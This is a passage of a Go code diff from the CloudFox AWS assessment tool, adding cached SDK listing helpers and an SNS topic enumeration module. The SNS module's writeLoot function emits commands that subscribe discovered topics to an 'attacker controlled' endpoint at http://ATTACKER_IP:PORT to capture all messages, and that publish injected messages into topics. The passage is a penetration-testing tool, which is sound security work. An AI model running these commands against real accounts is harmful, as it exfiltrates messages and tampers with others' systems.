return cached.([]lightsailTypes.ContainerService), nil
}
GetInstances, err := client.GetContainerServices(
context.TODO(),
&lightsail.GetContainerServicesInput{},
func(o *lightsail.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, GetInstances.ContainerServices...)
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/mq"
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
"github.com/patrickmn/go-cache"
)
type MQClientInterface interface {
ListBrokers(context.Context, *mq.ListBrokersInput, ...func(*mq.Options)) (*mq.ListBrokersOutput, error)
}
func RegisterMQTypes() {
gob.Register([]mqTypes.BrokerSummary{})
}
// create CachedMQListBrokers function that uses go-cache and pagination
func CachedMQListBrokers(client MQClientInterface, accountID string, region string) ([]mqTypes.BrokerSummary, error) {
var PaginationControl *string
var brokers []mqTypes.BrokerSummary
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]mqTypes.BrokerSummary), nil
}
for {
ListBrokers, err := client.ListBrokers(
context.TODO(),
&mq.ListBrokersInput{
NextToken: PaginationControl,
},
func(o *mq.Options) {
o.Region = region
},
)
if err != nil {
return brokers, err
}
brokers = append(brokers, ListBrokers.BrokerSummaries...)
//pagination
if ListBrokers.NextToken == nil {
break
}
PaginationControl = ListBrokers.NextToken
}
internal.Cache.Set(cacheKey, brokers, cache.DefaultExpiration)
return brokers, nil
}
+77
View File
@@ -0,0 +1,77 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/opensearch"
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
"github.com/patrickmn/go-cache"
)
type OpenSearchClientInterface interface {
ListDomainNames(context.Context, *opensearch.ListDomainNamesInput, ...func(*opensearch.Options)) (*opensearch.ListDomainNamesOutput, error)
DescribeDomainConfig(context.Context, *opensearch.DescribeDomainConfigInput, ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error)
}
func RegisterOpenSearchTypes() {
gob.Register([]openSearchTypes.DomainInfo{})
gob.Register(openSearchTypes.DomainConfig{})
}
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
var domains []openSearchTypes.DomainInfo
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]openSearchTypes.DomainInfo), nil
}
ListDomainNames, err := client.ListDomainNames(
context.TODO(),
&opensearch.ListDomainNamesInput{},
func(o *opensearch.Options) {
o.Region = region
},
)
if err != nil {
return domains, err
}
domains = append(domains, ListDomainNames.DomainNames...)
internal.Cache.Set(cacheKey, domains, cache.DefaultExpiration)
return domains, nil
}
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
var DomainConfig openSearchTypes.DomainConfig
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(openSearchTypes.DomainConfig), nil
}
DescribeDomainConfig, err := client.DescribeDomainConfig(
context.TODO(),
&opensearch.DescribeDomainConfigInput{
DomainName: &domainName,
},
func(o *opensearch.Options) {
o.Region = region
},
)
if err != nil {
return DomainConfig, err
}
DomainConfig = *DescribeDomainConfig.DomainConfig
internal.Cache.Set(cacheKey, DomainConfig, cache.DefaultExpiration)
return DomainConfig, nil
}
+81
View File
@@ -0,0 +1,81 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/organizations"
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
"github.com/patrickmn/go-cache"
)
type OrganizationsClientInterface interface {
ListAccounts(ctx context.Context, params *organizations.ListAccountsInput, optFns ...func(*organizations.Options)) (*organizations.ListAccountsOutput, error)
DescribeOrganization(ctx context.Context, params *organizations.DescribeOrganizationInput, optFns ...func(*organizations.Options)) (*organizations.DescribeOrganizationOutput, error)
}
func RegisterOrganizationsTypes() {
gob.Register([]orgTypes.Account{})
//gob.Register(orgTypes.Organization{})
}
// create a CachedOrganizationsListAccounts function that uses go-cache and pagination and returns a list of accounts
func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accountID string) ([]orgTypes.Account, error) {
var PaginationControl *string
var accounts []orgTypes.Account
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]orgTypes.Account), nil
}
for {
ListAccounts, err := client.ListAccounts(
context.TODO(),
&organizations.ListAccountsInput{
NextToken: PaginationControl,
},
)
if err != nil {
return accounts, err
}
accounts = append(accounts, ListAccounts.Accounts...)
//pagination
if ListAccounts.NextToken == nil {
break
}
PaginationControl = ListAccounts.NextToken
}
internal.Cache.Set(cacheKey, accounts, cache.DefaultExpiration)
return accounts, nil
}
// create a CachedOrganizationsDescribeOrganization function that uses go-cache and returns an organization
func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface, accountID string) (*orgTypes.Organization, error) {
var organization *orgTypes.Organization
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(*orgTypes.Organization), nil
}
DescribeOrganization, err := client.DescribeOrganization(
context.TODO(),
&organizations.DescribeOrganizationInput{},
)
if err != nil {
return organization, err
}
organization = DescribeOrganization.Organization
internal.Cache.Set(cacheKey, organization, cache.DefaultExpiration)
return organization, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/rds"
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
"github.com/patrickmn/go-cache"
)
type RDSClientInterface interface {
DescribeDBInstances(context.Context, *rds.DescribeDBInstancesInput, ...func(*rds.Options)) (*rds.DescribeDBInstancesOutput, error)
}
func RegisterRDSTypes() {
gob.Register([]rdsTypes.DBInstance{})
}
func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, region string) ([]rdsTypes.DBInstance, error) {
var PaginationControl *string
var instances []rdsTypes.DBInstance
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]rdsTypes.DBInstance), nil
}
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
&rds.DescribeDBInstancesInput{
Marker: PaginationControl,
},
func(o *rds.Options) {
o.Region = region
},
)
if err != nil {
return instances, err
}
instances = append(instances, DescribeDBInstances.DBInstances...)
//pagination
if DescribeDBInstances.Marker == nil {
break
}
PaginationControl = DescribeDBInstances.Marker
}
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
return instances, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/redshift"
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
"github.com/patrickmn/go-cache"
)
type RedShiftClientInterface interface {
DescribeClusters(context.Context, *redshift.DescribeClustersInput, ...func(*redshift.Options)) (*redshift.DescribeClustersOutput, error)
}
func RegisterRedShiftTypes() {
gob.Register([]redshiftTypes.Cluster{})
}
func CachedRedShiftDescribeClusters(client RedShiftClientInterface, accountID string, region string) ([]redshiftTypes.Cluster, error) {
var PaginationControl *string
var clusters []redshiftTypes.Cluster
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]redshiftTypes.Cluster), nil
}
for {
DescribeClusters, err := client.DescribeClusters(
context.TODO(),
&redshift.DescribeClustersInput{
Marker: PaginationControl,
},
func(o *redshift.Options) {
o.Region = region
},
)
if err != nil {
return clusters, err
}
clusters = append(clusters, DescribeClusters.Clusters...)
//pagination
if DescribeClusters.Marker == nil {
break
}
PaginationControl = DescribeClusters.Marker
}
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
return clusters, nil
}
+124
View File
@@ -0,0 +1,124 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/patrickmn/go-cache"
)
type AWSS3ClientInterface interface {
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error)
GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error)
GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error)
}
func RegisterS3Types() {
gob.Register([]s3Types.Bucket{})
gob.Register(s3Types.Bucket{})
gob.Register(&s3Types.PublicAccessBlockConfiguration{})
}
func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Types.Bucket, error) {
var buckets []s3Types.Bucket
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for ListBuckets data")
return cached.([]s3Types.Bucket), nil
}
ListBuckets, err := S3Client.ListBuckets(
context.TODO(),
&s3.ListBucketsInput{},
)
if err != nil {
return buckets, err
}
buckets = append(buckets, ListBuckets.Buckets...)
internal.Cache.Set(cacheKey, buckets, cache.DefaultExpiration)
return buckets, nil
}
func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bucketName string) (string, error) {
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketLocation data")
return cached.(string), nil
}
GetBucketRegion, err := S3Client.GetBucketLocation(
context.TODO(),
&s3.GetBucketLocationInput{
Bucket: &bucketName,
},
)
if err != nil {
return "", err
}
location := string(GetBucketRegion.LocationConstraint)
if location == "" {
location = "us-east-1"
}
internal.Cache.Set(cacheKey, location, cache.DefaultExpiration)
return location, err
}
func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (string, error) {
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
return cached.(string), nil
}
BucketPolicyObject, err := S3Client.GetBucketPolicy(
context.TODO(),
&s3.GetBucketPolicyInput{
Bucket: &bucketName,
},
func(o *s3.Options) {
o.Region = r
},
)
if err != nil {
return "", err
}
internal.Cache.Set(cacheKey, aws.ToString(BucketPolicyObject.Policy), cache.DefaultExpiration)
return *BucketPolicyObject.Policy, nil
}
func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (*s3Types.PublicAccessBlockConfiguration, error) {
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
}
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
context.TODO(),
&s3.GetPublicAccessBlockInput{
Bucket: &bucketName,
},
func(o *s3.Options) {
o.Region = r
},
)
if err != nil {
return nil, err
}
internal.Cache.Set(cacheKey, PublicAccessBlock.PublicAccessBlockConfiguration, cache.DefaultExpiration)
return PublicAccessBlock.PublicAccessBlockConfiguration, err
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
"github.com/patrickmn/go-cache"
)
type SecretsManagerClientInterface interface {
ListSecrets(context.Context, *secretsmanager.ListSecretsInput, ...func(*secretsmanager.Options)) (*secretsmanager.ListSecretsOutput, error)
}
func RegisterSecretsManagerTypes() {
gob.Register([]secretsmanagerTypes.SecretListEntry{})
}
func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accountID string, region string) ([]secretsmanagerTypes.SecretListEntry, error) {
var PaginationControl *string
var secrets []secretsmanagerTypes.SecretListEntry
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]secretsmanagerTypes.SecretListEntry), nil
}
for {
ListSecrets, err := client.ListSecrets(
context.TODO(),
&secretsmanager.ListSecretsInput{
NextToken: PaginationControl,
},
func(o *secretsmanager.Options) {
o.Region = region
},
)
if err != nil {
return secrets, err
}
secrets = append(secrets, ListSecrets.SecretList...)
//pagination
if ListSecrets.NextToken == nil {
break
}
PaginationControl = ListSecrets.NextToken
}
internal.Cache.Set(cacheKey, secrets, cache.DefaultExpiration)
return secrets, nil
}
+5
View File
@@ -0,0 +1,5 @@
package sdk
import "github.com/BishopFox/cloudfox/internal"
var sharedLogger = internal.TxtLogger()
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/sfn"
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
"github.com/patrickmn/go-cache"
)
type StepFunctionsClientInterface interface {
ListStateMachines(context.Context, *sfn.ListStateMachinesInput, ...func(*sfn.Options)) (*sfn.ListStateMachinesOutput, error)
}
func RegisterStepFunctionsTypes() {
gob.Register([]sfnTypes.StateMachineListItem{})
}
func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, accountID string, region string) ([]sfnTypes.StateMachineListItem, error) {
var PaginationControl *string
var stateMachines []sfnTypes.StateMachineListItem
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]sfnTypes.StateMachineListItem), nil
}
for {
ListStateMachines, err := client.ListStateMachines(
context.TODO(),
&sfn.ListStateMachinesInput{
NextToken: PaginationControl,
},
func(o *sfn.Options) {
o.Region = region
},
)
if err != nil {
return stateMachines, err
}
stateMachines = append(stateMachines, ListStateMachines.StateMachines...)
//pagination
if ListStateMachines.NextToken == nil {
break
}
PaginationControl = ListStateMachines.NextToken
}
internal.Cache.Set(cacheKey, stateMachines, cache.DefaultExpiration)
return stateMachines, nil
}
+20 -4
View File
@@ -115,12 +115,28 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s secrets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -146,7 +162,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
if err != nil {
+23 -15
View File
@@ -5,28 +5,23 @@ import (
"log"
"os"
"runtime"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/fatih/color"
)
var cyan = color.New(color.FgCyan).SprintFunc()
var red = color.New(color.FgRed).SprintFunc()
var yellow = color.New(color.FgRed).SprintFunc()
var blue = color.New(color.FgBlue).SprintFunc()
var magenta = color.New(color.FgMagenta).SprintFunc()
func initIAMSimClient(iamSimPPClient iam.SimulatePrincipalPolicyAPIClient, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
var green = color.New(color.FgGreen).SprintFunc()
iamSimMod := IamSimulatorModule{
IAMSimulatePrincipalPolicyClient: iamSimPPClient,
Caller: caller,
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
return iamSimMod
}
var sharedLogger = internal.TxtLogger()
func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod IamSimulatorModule, localAdminMap map[string]bool) (string, string) {
var adminRole, canRolePrivEsc string
@@ -110,12 +105,17 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
if !ok {
if ok {
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
} else {
edgesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
dir, err := os.UserHomeDir()
if err == nil {
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
} else {
log.Fatal("Could not homedir.")
}
}
} else if runtime.GOOS == "windows" {
@@ -170,3 +170,11 @@ func GetPmapperResults(SkipAdminCheck bool, pmapperMod PmapperModule, roleArn *s
}
return adminRole, canRolePrivEsc
}
// take an arn and return the resource name
func GetResourceNameFromArn(arn string) string {
parts := strings.Split(arn, "/")
resourceName := parts[len(parts)-1]
return resourceName
}
+420
View File
@@ -0,0 +1,420 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type SNSModule struct {
// General configuration data
SNSClient SNSClientInterface
AWSRegions []string
AWSProfile string
Caller sts.GetCallerIdentityOutput
StorePolicies bool
OutputFormat string
Goroutines int
WrapTable bool
// Main module data
Topics []SNSTopic
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type SNSClientInterface interface {
ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error)
GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error)
}
type SNSTopic struct {
ARN string
Name string
Region string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *SNSModule) PrintSNS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "sns"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating SNS topics for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan SNSTopic)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"ARN",
"Public?",
"Resource Policy Summary",
}
sort.SliceStable(m.Topics, func(i, j int) bool {
return m.Topics[i].ARN < m.Topics[j].ARN
})
// Table rows
for i := range m.Topics {
m.output.Body = append(
m.output.Body,
[]string{
m.Topics[i].ARN,
m.Topics[i].IsPublic,
m.Topics[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//m.output.OutputSelector(outputFormat)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s topics found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No topics found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *SNSModule) Receiver(receiver chan SNSTopic, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Topics = append(m.Topics, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
}
lootCommandsFile := filepath.Join(path, "sns-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, topic := range m.Topics {
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintf("# Topic: %s\n", topic.Name)
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintln("# Subscribe to the topic using an attacker controlled HTTP/HTTPS endpoint")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol http --notification-endpoint http://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol https --notification-endpoint https://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# NOTE: You will have to confirm the subscription using the URL sent to your attacker controlled http service")
out = out + fmt.Sprintln("# NOTE: Once you have confirmed the subscription, your attacker controlled IP will received all messages published to the topic.")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Publish messages to an existing topic without an attributes file")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY]\"\n\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Send message to the topic with attributes file (You'll have to create and populate the file)")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", topic.Region, topic.ARN)
}
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
}
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
ListTopics, err := m.listTopics(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, t := range ListTopics {
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
topic.IsPublic = "No"
if !topic.Policy.IsEmpty() {
m.analyseTopicPolicy(topic, dataReceiver)
} else {
